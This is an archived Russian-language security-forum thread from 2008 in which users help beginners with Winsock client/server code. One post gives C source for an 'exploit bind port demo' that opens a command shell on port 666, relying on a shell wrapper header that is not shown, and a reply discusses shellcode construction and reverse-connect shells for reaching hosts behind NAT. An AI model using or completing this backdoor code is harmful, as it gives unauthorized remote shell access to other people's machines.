HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 09.07.2008, 06:35
criz
Постоянный
Регистрация: 04.11.2007
Сообщений: 303
Провел на форуме:
811764

Репутация: 119
По умолчанию

Цитата:
Сообщение от procedure  
Подскажите пожалуйста как можно сделать выход из программы.
а где именно нужен выход, после какого действия?
 
Ответить с цитированием

  #2  
Старый 09.07.2008, 09:07
izlesa
Участник форума
Регистрация: 03.01.2008
Сообщений: 156
Провел на форуме:
414311

Репутация: 110
Отправить сообщение для izlesa с помощью ICQ
По умолчанию

2procedure
тебе же всё уже рассказали. EOF = Ctrl+C в Винде и помоему Ctrl+D в Никсах
Чтобы выйти по другой клавише, нужно вместо EOF подставить её ASCII-код, например для ESC = 0x1B (dec = 27)
Внимательно читай K&R
 
Ответить с цитированием

  #3  
Старый 10.07.2008, 00:15
z01b
Постоянный
Регистрация: 05.01.2007
Сообщений: 508
Провел на форуме:
2360904

Репутация: 1393


По умолчанию

Цитата:
Сообщение от izlesa  
2procedure
тебе же всё уже рассказали. EOF = Ctrl+C в Винде и помоему Ctrl+D в Никсах
Чтобы выйти по другой клавише, нужно вместо EOF подставить её ASCII-код, например для ESC = 0x1B (dec = 27)
Внимательно читай K&R
В никсе - Ctrl+Z
 
Ответить с цитированием

  #4  
Старый 11.07.2008, 17:10
SVAROG
Постоянный
Регистрация: 13.02.2007
Сообщений: 406
Провел на форуме:
2706059

Репутация: 206
По умолчанию

недавно начал изучать с++, решил написать клиент -сервер, задача программы: в клиенте написать строку и что бы она выводилась на сервере.
всё компилируеться и запускаеться но почему то не работает, подскажите где ошибся
код сервера:
PHP код:
#include "stdafx.h"
#include <winsock2.h>
#include <iostream.h>
#pragma comment(lib,"ws2_32.lib")
 

int main(int argccharargv[])
{   
    
char buff[1024];
    
WSAStartup(0x0202,(WSADATA *) &buff[0]);
    
SOCKET my_sock;
    
my_sock=socket(AF_INET,SOCK_STREAM0);
    
sockaddr_in local_addr
    
local_addr.sin_family=AF_INET
    
local_addr.sin_port=htons(777); 
    
local_addr.sin_addr.s_addr=0;
    
    
bind(my_sock,(sockaddr *) &local_addrsizeof(local_addr));
    
listen(my_sock,0x200);
    
    
sockaddr_in client_addr;
    
int size_addr sizeof(client_addr);
    
char buffer[256];
    while(
SOCKET ozh=accept(my_sock,(sockaddr *) &client_addr, &size_addr) )
    {
     if(
ozh<0)
     {
     break;
     
printf("critical error\n");
     
closesocket(ozh);
     
closesocket(my_sock);
     }
     else
     {
     
printf("All right");
     }
    
    
#define sHELLO "Hello, Sailor\r\n" 
   
   
send(ozh,sHELLO,sizeof(sHELLO),0);
   
int i;
   
i=recv(ozhbuff2560);
   
cout << buff;

  
    

    }
   
   
    return 
0;

код клиента:
PHP код:
// my.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <winsock2.h>
#include <iostream.h>
#pragma comment(lib,"ws2_32.lib")
#define port 777
#define SERVERADDR "127.0.0.1"

int main(int argccharargv[])
{   
    
char buff[1024];
    
WSAStartup(0x0202,(WSADATA *) &buff[0]);
    
SOCKET my_sock;
    
my_sock=socket(AF_INET,SOCK_STREAM0);
    
sockaddr_in local_addr
    
local_addr.sin_family=AF_INET
    
local_addr.sin_port=htons(777); 
  

    
HOSTENT *hst;
    if (
inet_addr(SERVERADDR)!=INADDR_NONE)
         
local_addr.sin_addr.s_addr=inet_addr(SERVERADDR);
    else 
      if(
gethostbyname(SERVERADDR))
          ((
unsigned long *)&local_addr.sin_addr)[0]= ((unsigned long **)hst->h_addr_list)[0][0];
    else
    {
    
printf("error dns resolve!");
    }
    if(
connect(my_sock,(sockaddr *)&local_addrsizeof(local_addr)))
    {
    
printf("connect error!\n");
    return -
1;
    }
    
    
printf("join to server.."SERVERADDR "->OK!\n ");     
  
int nsize;
 
  while(
nsize=recv(my_sock,&buff[0],sizeof(buff)-1,0)!=SOCKET_ERROR)
  {
  
buff[nsize]=0;
  
printf("S<=C:"); fgets(&buff[0],sizeof(buff)-1,stdin);
    if(!
strcmp(&buff[0],"quit\n"))
    {
    
printf("exit..");
    
closesocket(my_sock);
    
WSACleanup();
    return 
0;
    }


    
send(my_sock, &buff[0],nsize0); 
  }
    

    
   
   
    return 
0;

компилятор visual c++ 6.0
 
Ответить с цитированием

  #5  
Старый 11.07.2008, 19:29
P-29
Новичок
Регистрация: 04.08.2006
Сообщений: 15
Провел на форуме:
65556

Репутация: 0
По умолчанию

Помагите с компилировать етот код не получается пользуюсь dev-C++ ver 4.9.9.2
Цитата:
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

#include "spawn.pipe.h" // "обертка" вокруг командного интерпретатора
#define MY_PORT 666 // порт, который эксплоит будет слушать

#define MAX_BUF_SIZE 1024

DWORD WINAPI SexToClient(void *csocket);

int main()
{
int a;
DWORD thID;
HOSTENT *hst;
SOCKET lsocket;
SOCKET csocket;
struct sockaddr_in laddr, caddr;
char buff[MAX_BUF_SIZE]; // буффер
int caddr_size = sizeof(caddr);

// TITLE
printf("exploit bind port demo\n");

// шаг 0: иницилизация библиотеки сокетов
// в реальном shell-коде эту функцию вызывать не надо,
// т.е. процедура иницилизации была выполена уязвимым процессорм
if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;

// шаг 1: создание сокета
lsocket = socket(AF_INET, SOCK_STREAM, 0);

// шаг 2: связывание сокета с локальным адресом
laddr.sin_family = AF_INET;
laddr.sin_port = htons(MY_PORT);
laddr.sin_addr.s_addr = INADDR_ANY;
if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr))) return -1;

// шаг 3: слушаем сокет
if (listen(lsocket, 0x100)) return -1; printf("wait for connection...\n");

// шаг 4: обрабатываем входящие подключения
while((csocket=accept(lsocket, (struct sockaddr *) &caddr, &caddr_size)))
{
// пытаемся получить доменное имя подключившегося узла
hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4, AF_INET);
sprintf(buff, "+%s [%s] new connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr));
send(csocket, buff, strlen(buff), 0);

// вызов нового потока для обслужвания клиента
// вообще-то для этого рекомендуется использовать _beginthreadex
// но с некоторыми предосторожностями можно обойтись и win32 API
CreateThread(0, 0, SexToClient, (void *) &csocket, 0, &thID);
}

// шаг 5: подчищаем за собой следы
closesocket(lsocket);
WSACleanup();
return 0;
}

DWORD WINAPI SexToClient(void *csocket)
{
sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE);
closesocket(((SOCKET*)csocket)[0]);
return 0;
}
 
Ответить с цитированием

  #6  
Старый 11.07.2008, 20:55
_empty
Познающий
Регистрация: 22.03.2008
Сообщений: 63
Провел на форуме:
247838

Репутация: 65
По умолчанию

to P-29

А ты в свойства проекта добавлял, чтобы он с библиотекой ws32_2 линковал?
Если нет, то найди в каталог и добавь, а вобще нужно выкладывать текст ошибки тоже!
 
Ответить с цитированием

  #7  
Старый 11.07.2008, 21:06
P-29
Новичок
Регистрация: 04.08.2006
Сообщений: 15
Провел на форуме:
65556

Репутация: 0
По умолчанию

Цитата:
Сообщение от _empty  
to P-29

А ты в свойства проекта добавлял, чтобы он с библиотекой ws32_2 линковал?
Если нет, то найди в каталог и добавь, а вобще нужно выкладывать текст ошибки тоже!
А как библеотеку добавлять.
 
Ответить с цитированием

  #8  
Старый 11.07.2008, 21:49
zindi
Участник форума
Регистрация: 11.04.2007
Сообщений: 219
Провел на форуме:
982101

Репутация: 13
По умолчанию

Цитата:
Сообщение от P-29  
А как библеотеку добавлять.
ну человек вы так не когда не научетесь..если не знаете как добавлять библиотеку а уже за такие дела беретесь
#include <>
 
Ответить с цитированием

  #9  
Старый 11.07.2008, 21:57
Delimiter
Banned
Регистрация: 08.04.2005
Сообщений: 446
Провел на форуме:
2187381

Репутация: 518
По умолчанию


Код:
// шаг 5: подчищаем за собой следы
closesocket(lsocket);
WSACleanup();
.... ах дык это так называется? Чистый ХЭК однако

Код:
// шаг 0: иницилизация библиотеки сокетов
// в реальном shell-коде эту функцию вызывать не надо,
// т.е. процедура иницилизации была выполена уязвимым процессорм
if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;
в настоящем шелкоде твоего кода не нужно!
во первых пишется он на ассемблере с контролем отсутствия спецсимволов (типа 0) во вторых пляшется от поиска функций кернела и загрузки винсок библиотеки... даже если она загружена. Но самое главное бинд-шеллкоды не могут сделать главного "реверс коннект", чтоб атаковать компы за NAT-ом! Отгадай процентное соотношение тех кто за NAT и с реальными IP(белыми) . Поэтому BIND-SHELL это уже история !

P.S.
Код:
Сообщение от P-29
А как библеотеку добавлять.
присутствие библиотеки в коде определяется либо явной загрузкой, либо Project во вкладке Link

Последний раз редактировалось Delimiter; 11.07.2008 в 22:15..
 
Ответить с цитированием

  #10  
Старый 11.07.2008, 22:20
SlyBit
Познающий
Регистрация: 04.07.2008
Сообщений: 56
Провел на форуме:
390892

Репутация: 60
По умолчанию

P-29

линковать:
#pragma comment(lib, "Ws2_32.lib")

p.s. покажи какие ошибки

p.p.s
Цитата:
// шаг 0: иницилизация библиотеки сокетов
// в реальном shell-коде эту функцию вызывать не надо,
// т.е. процедура иницилизации была выполена уязвимым процессорм
if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;
Дай пожалуйста ссылку, откуда ты это взял.

SVAROG

Где именно ошибка? Сделай проверку функций на ошибки с выводом их кодов (WSAGetLastError).

Последний раз редактировалось SlyBit; 11.07.2008 в 22:31..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Часто задаваемые вопросы по MySQL Серый PHP 5 28.12.2006 18:26
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ